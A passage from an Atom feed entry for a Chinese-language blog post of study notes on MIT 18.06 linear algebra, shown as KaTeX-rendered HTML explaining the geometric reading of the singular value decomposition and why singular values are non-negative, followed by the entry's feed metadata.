class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，它们是左零空间的基</p><p>从几何上看，SVD 分解可以看作是一个线性变换的三个步骤：</p><ol><li><p>先旋转：通过正交矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>V</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> V^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，将输入向量旋转到一个新的坐标系中。</p></li><li><p>再缩放：通过对角矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex"> \Sigma </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span>，在新的坐标系中对各个方向进行缩放。</p></li><li><p>最后旋转：通过正交矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex"> U </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span>，将缩放后的向量旋转到最终的输出坐标系中。</p></li></ol><p>此外，因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex"> A^T A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span> 是半正半定矩阵，所以它的特征值非负，因此 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex"> \Sigma </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 的对角线元素 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>σ</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> \sigma_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 也是非负的。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2025/12/08/linear-algebra/</id>
    <link href="https://blog.z0z0r4.top/2025/12/08/linear-algebra/"/>
    <published>2025-12-08T15:42:30.000Z</published>
    <summary>
      <![CDATA[<p>此处用于记录我学习 <a href="https://www.youtube.com/watch?v=nHlE7EgJFds">MIT 18.06 Linear Algebra</a> 的笔记。</p>]]>
    </summary>
    <title>Linear Algebra</title>
    <updated>2026-03-28T06:35:16.534Z</updated>
  </entry>
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